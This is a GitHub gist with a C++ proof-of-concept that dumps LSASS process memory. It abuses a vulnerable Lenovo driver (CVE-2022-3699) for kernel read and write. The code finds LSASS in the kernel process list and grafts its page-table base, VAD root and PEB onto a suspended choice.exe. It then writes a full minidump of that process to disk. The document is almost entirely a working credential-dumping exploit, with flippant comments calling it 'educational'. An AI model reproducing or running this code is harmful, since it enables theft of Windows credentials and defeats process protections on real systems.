Skip to content

Instantly share code, notes, and snippets.

@alfarom256
Last active June 1, 2023 17:49
Show Gist options
  • Save alfarom256/3a18868f1ff849d645a99a58cbfb51f6 to your computer and use it in GitHub Desktop.
Save alfarom256/3a18868f1ff849d645a99a58cbfb51f6 to your computer and use it in GitHub Desktop.
dump lsass but in a weird way you probably shouldn't do in prod with a vulnerable driver
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#include <DbgHelp.h>
#include "LenovoMemoryMgr.h"
#pragma comment(lib, "dbghelp")
typedef NTSTATUS(WINAPI* pNtQueryVirtualMemory)(HANDLE, PVOID, DWORD, PVOID, SIZE_T, PSIZE_T);
BOOL SearchEprocessLinksForPid(LenovoMemoryMgr lm, UINT64 Pid, UINT64 SystemEprocess, PUINT64 lpTargetProcess) {
BOOL bRes = FALSE;
if (!lpTargetProcess) {
return FALSE;
}
UINT64 ListIter = SystemEprocess + OFFSET_EPROCESS_LINKS;
UINT64 ListHead = ListIter;
while (TRUE) {
bRes = lm.ReadVirtData((ListIter + 0x8), &ListIter);
if (!bRes) {
return FALSE;
}
if (ListIter == ListHead) {
puts("Process not found in ActiveProcess links!");
return FALSE;
}
UINT64 IterEprocessBase = ListIter - OFFSET_EPROCESS_LINKS;
UINT64 IterPid = 0;
bRes = lm.ReadVirtData((IterEprocessBase + OFFSET_EPROCESS_PID), &IterPid);
if (!bRes) {
return FALSE;
}
if (IterPid == Pid) {
printf("Found EPROCESS : %llx - PID %llx\n", IterEprocessBase, IterPid);
*lpTargetProcess = IterEprocessBase;
return TRUE;
}
}
}
UINT64 GetPsInitialSystemProc(UINT64 lpNtoskrnlBase) {
HMODULE hNtos = LoadLibraryA("ntoskrnl.exe");
if (!hNtos) {
return NULL;
}
PVOID initial_proc = GetProcAddress(hNtos, "PsInitialSystemProcess");
initial_proc = (PVOID)(((SIZE_T)initial_proc - (SIZE_T)hNtos) + (SIZE_T)lpNtoskrnlBase);
FreeLibrary(hNtos);
return (UINT64)initial_proc;
}
int main() {
/*
* A haiku for your troubles
*
* janky PoC
* educational purpose
* probably bluescreen
*
*
*/
UINT64 qwLsassPid = 672;
// https://github.com/alfarom256/CVE-2022-3699
LenovoMemoryMgr lm = LenovoMemoryMgr::LenovoMemoryMgr();
BOOL hasInit = lm.init();
BOOL bRes = FALSE;
if (!hasInit) {
return -1;
}
UINT64 OurProcess = 0;
UINT64 PsInitialSystemProcPtr = GetPsInitialSystemProc(lm.NtosBase);
printf("Found initial system process at %llx\n", PsInitialSystemProcPtr);
UINT64 SystemProc = 0;
lm.ReadVirtData(PsInitialSystemProcPtr, &SystemProc);
// Find the LSASS process
UINT64 qwLsassEprocess = 0;
bRes = SearchEprocessLinksForPid(lm, qwLsassPid, SystemProc, &qwLsassEprocess);
if (!bRes) {
puts("Could not find LSASS EPROCESS in EPROCESS links");
return -1;
}
// Find the newly created process that's suspended
puts("Creating suspended process");
STARTUPINFOA sa = { 0 };
PROCESS_INFORMATION pi = { 0 };
bRes = CreateProcessA("C:\\Windows\\System32\\choice.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &sa, &pi);
if (!bRes) {
printf("Failed to create suspended process - %x\n", GetLastError());
return -1;
}
// sus
UINT64 qwSusPid = pi.dwProcessId;
UINT64 qwSuspendedEprocess = 0;
bRes = SearchEprocessLinksForPid(lm, qwSusPid, SystemProc, &qwSuspendedEprocess);
if (!bRes) {
puts("Could not find Suspended EPROCESS in EPROCESS links");
return -1;
}
// copy the VadRoot, DirBase, and PEB from LSASS to the suspended process
UINT64 DirBase = 0;
UINT64 OldDirBase = 0;
UINT64 VadRoot = 0;
UINT64 OldVadRoot = 0;
UINT64 LsassPeb = 0;
UINT64 OldPeb = 0;
printf("Suspended EPROCESS %llx\n", qwSuspendedEprocess);
// MUH HARDCODED OFFSETS
lm.ReadVirtData(qwLsassEprocess + 0x7d8, &VadRoot);
lm.ReadVirtData(qwSuspendedEprocess + 0x7d8, &OldVadRoot);
lm.ReadVirtData(qwLsassEprocess + 0x28, &DirBase);
lm.ReadVirtData(qwSuspendedEprocess + 0x28, &OldDirBase);
lm.ReadVirtData(qwLsassEprocess + 0x550, &LsassPeb);
lm.ReadVirtData(qwSuspendedEprocess + 0x550, &OldPeb);
printf("LSASS VadRoot = %llx\n", VadRoot);
printf("LSASS Peb = %llx\n", LsassPeb);
puts("Copying VadRoot and Peb to Suspended Proc");
lm.WriteVirtData(qwSuspendedEprocess + 0x28, &DirBase);
lm.WriteVirtData(qwSuspendedEprocess + 0x7d8, &VadRoot);
/*
* this will sometimes fail
* better to rewrite yourself
* I am not good dev
*/
lm.WriteVirtData(qwSuspendedEprocess + 0x550, &LsassPeb);
UINT64 tmp = 0;
lm.ReadVirtData(qwSuspendedEprocess + 0x28, &tmp);
printf("Suspended DirBase = %llx\n", tmp);
lm.ReadVirtData(qwSuspendedEprocess + 0x7d8, &tmp);
printf("Suspended VadRoot = %llx\n", tmp);
lm.ReadVirtData(qwSuspendedEprocess + 0x550, &tmp);
printf("Suspended Peb = %llx\n", tmp);
// dump the suspended process
HANDLE hDump = CreateFileA("C:\\Users\\User\\Desktop\\sus.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (!hDump) {
printf("Failed to create dump file for writing - %d\n", GetLastError());
return -1;
}
UINT64 pebLdr_tmp = 0;
SIZE_T dwBytesRead = 0;
BOOL bRpm = FALSE;
/*
* MiniDump is bad
* but PoC is lazy
* I don't care bro lole
*/
bRes = MiniDumpWriteDump(pi.hProcess, pi.dwProcessId, hDump, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (!bRes) {
printf("Failed to take a dump (have some dulcolax) - %x\n", GetLastError());
}
else {
puts("Created minidump, restoring VadRoot before terminating [enter]");
}
lm.WriteVirtData(qwSuspendedEprocess + 0x28, &OldDirBase);
lm.WriteVirtData(qwSuspendedEprocess + 0x7d8, &OldVadRoot);
lm.WriteVirtData(qwSuspendedEprocess + 0x550, &OldPeb);
TerminateProcess(pi.hProcess, 0);
lm.teardown();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment